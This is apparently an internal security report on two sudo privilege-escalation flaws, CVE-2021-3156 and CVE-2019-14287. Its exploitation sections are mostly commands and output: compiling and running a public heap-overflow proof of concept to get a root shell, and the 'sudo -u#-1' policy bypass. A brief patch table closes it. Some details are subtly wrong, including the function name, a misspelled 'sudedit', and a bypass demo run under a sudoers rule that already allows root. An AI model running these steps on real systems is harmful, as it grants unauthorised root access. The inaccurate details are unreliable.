

Sudo Privilege Escalation Assessment

TECHNICAL ANALYSIS OF CVE-2021-3156 AND CVE-2019-14287

Target OS:	Linux / UNIX (Ubuntu, Debian, Fedora, macOS)	Date:	June 25, 2026
Auditor:	Security Operations Center (SOC)	Classification:	Confidential - Internal Security Report

1. Introduction to Sudo and Access Control Mechanics

The `sudo` (superuser do) utility is an essential security program under UNIX and Linux operating systems designed to allow users to execute processes with the security privileges of another user—most commonly the `root` user. Instead of sharing administrative credentials, `sudo` relies on a granular access policy model configuration defined within the `/etc/sudoers` file.

The security policy mechanism evaluates whether a specific user or group is authorized to invoke specific binary paths under designated execution constraints. A standard baseline inspection of the `/etc/sudoers` file yields rules regarding environment behaviors and manual user permissions:

```
cry011t3@nix02:~$ sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'
Defaults      env_reset
Defaults      mail_badpass
Defaults      secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/
bin:/snap/bin"
Defaults      use_pty
root          ALL=(ALL:ALL) ALL
%admin         ALL=(ALL) ALL
%sudo         ALL=(ALL:ALL) ALL
cry011t3      ALL=(ALL) /usr/bin/id
@includedir   /etc/sudoers.d
```

In this specific context, the local unprivileged user `cry011t3` is strictly limited to executing a single binary path (`/usr/bin/id`) with superuser privileges. However, system vulnerabilities within the underlying codebase of the utility can bypass these stringent boundaries, resulting in full local privilege escalation (LPE).

2. CVE-2021-3156: Baron Samedit Heap-Based Buffer Overflow

2.1 Why it Occurs (Root Cause Analysis)

Discovered by Qualys in January 2021, **CVE-2021-3156** (dubbed "Baron Samedit") is a massive heap-based buffer overflow flaw present within the command-line argument parsing code of `sudo`. The code had been vulnerable for over a decade (since July 2011).

When `sudo` executes a command in shell mode (using either the `-s` or `-i` flags), it escapes meta-characters in the command-line arguments using backslashes. However, a deep flaw inside the internal function `set_cmd()` unescapes these backslashes prematurely before calculating the required buffer size allocation. If an argument ends with a single backslash character followed immediately by a null terminator, the unescaping loop over-reads beyond the boundary of the allocated buffer, overwriting adjacent memory regions in the system heap.

2.2 Tactics, Techniques, and Procedures (TTPs)

- **Tactics:** Privilege Escalation, Defense Evasion.
- **Techniques:** Exploitation for Privilege Escalation (T1068), Shared Modules Injection via Name Service Switch (NSS) manipulation.
- **Procedures:** The threat actor delivers a malformed argument vector containing trailing backslashes through an environmental context such as `sudedit`. The heap overflow is weaponized to corrupt internal GLIBC structure chunks, causing the application to dynamically load an arbitrary shared library file controlled by the attacker (e.g., overriding Name Service Switch lookups with a rogue `.so` payload).

VULNERABILITY IDENTIFICATION

This vulnerability affects major enterprise distributions containing legacy versions. To query the current deployment version, run:

```
cry011t3@nix02:~$ sudo -V | head -n1
Sudo version 1.8.31
```

2.3 Detailed Step-by-Step Exploitation

Because the target system is executing an unpatched version (`1.8.31` on Ubuntu 20.04), a public Proof-of-Concept (PoC) exploit can be safely leveraged for validation.

Step 1: Clone and Compile the Proof-of-Concept Exploit

The source files are pulled from a trusted research repository and compiled into native architecture binaries.

```

cry011t3@nix02:~$ git clone https://github.com/blasty/CVE-2021-3156.git
cry011t3@nix02:~$ cd CVE-2021-3156
cry011t3@nix02:~$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/POp_SH3LLZ_ .so.2' lib.c

```

Step 2: Environment Discovery

Executing the binary without positional targets returns the built-in operating system offset tables required to correctly realign memory allocations on the target system's heap layout.

```

cry011t3@nix02:~$ ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty <peter@haxx.in>

usage: ./sudo-hax-me-a-sandwich <target>

available targets:
-----
 0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
 1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
 2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
-----

```

We query the host configuration to ensure accurate matching against the target framework offset table entries:

```

cry011t3@nix02:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.1 LTS"

```

Step 3: Execution and Shell Arbitrage

By selecting target index **1**, the payload dynamically maps the memory boundaries for **sudoedit** on Ubuntu 20.04.1. This executes the heap corrupting sequence, drops out of the restricted shell context, and spawns a fully privileged root terminal session.

```

cry011t3@nix02:~$ ./sudo-hax-me-a-sandwich 1
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit']
(56, 54, 63, 212)
** pray for your rootshell.. **
# id
uid=0(root) gid=0(root) groups=0(root)

```

3. CVE-2019-14287: Sudo Policy Bypass (User ID -1 / 4294967295)

3.1 Why it Occurs (Root Cause Analysis)

CVE-2019-14287 represents a logic and integer parsing flaw identified within the user specification mapping code of `sudo` versions earlier than `1.8.28`. The flaw occurs during the evaluation of user IDs explicitly passed with the `-u` option flag.

Internally, `sudo` uses the function `strtol()` or similar parsing logic to convert the command line string input into an integer data type representing the User ID (UID). When an entry specifies a negative identifier such as `-1`, or its unsigned equivalent integer block `4294967295`, the casting mechanism reads the structure improperly. However, because the process underlying execution relies on PAM and standard `setresuid/setreuid` APIs, a user ID value of `-1` indicates "no change". As the program has already elevated to root to prepare execution context, treating the execution ID as `-1` forces the utility to drop out of user mitigation, executing the command directly as `0` (root) instead.

3.2 Tactics, Techniques, and Procedures (TTPs)

- **Tactics:** Privilege Escalation, Policy Bypass.
- **Techniques:** Abuse Elevation Control Mechanism (T1548.003).
- **Procedures:** An authenticated user with specific command privileges exploits the improper integer casting logic by appending `-u #-1` or `-u #4294967295` to force authorization checks to pass, while the core operating system subsystem processes the process invocation as UID 0.

3.3 Detailed Step-by-Step Exploitation

To perform this validation check, the administrative context configuration must be checked against explicit path permissions via the listing flag:

```
cry011t3@nix02:~$ sudo -l
User cry011t3 may run the following commands on Penny:
    ALL=(ALL) /usr/bin/id
```

Under normal operations, attempting to run `/usr/bin/id` under another explicit system account identifier (such as reading the system password file entry for verification) behaves cleanly:

```
cry011t3@nix02:~$ cat /etc/passwd | grep cry011t3
cry011t3:x:1005:1005:cry011t3,,,:/home/cry011t3:/bin/bash
```

EXPLOITATION VECTOR

By passing the parameter string `#-1` as the explicit target user argument block, we trigger the processing anomaly to acquire execution context as root.

```
cry011t3@nix02:~$ sudo -u#-1 id
root@nix02:/home/cry011t3# id
uid=0(root) gid=1005(cry011t3) groups=1005(cry011t3)
```

The system returns `uid=0(root)`, proving that the execution constraints have been entirely subverted without holding or authenticating via the root password structure.

4. Mitigation and Remediation Strategies

To guarantee enterprise-wide infrastructure resilience against these vectors, the following patch administration rules are highly recommended:

Vulnerability ID	Affected Versions	Primary Mitigation Action
CVE-2021-3156	Sudo legacy versions 1.8.2 to 1.8.31p2 and 1.9.0 to 1.9.5p1	Upgrade to Sudo version $\geq$ 1.9.5p2 immediately. Alternatively, restrict sudoedit binaries or strip execution flag SUID permissions if patching is delayed.
CVE-2019-14287	Sudo versions prior to 1.8.28	Upgrade package dependencies to Sudo version $\geq$ 1.8.28. Ensure explicit user targets are specified in rule configurations rather than using catch-all parameters.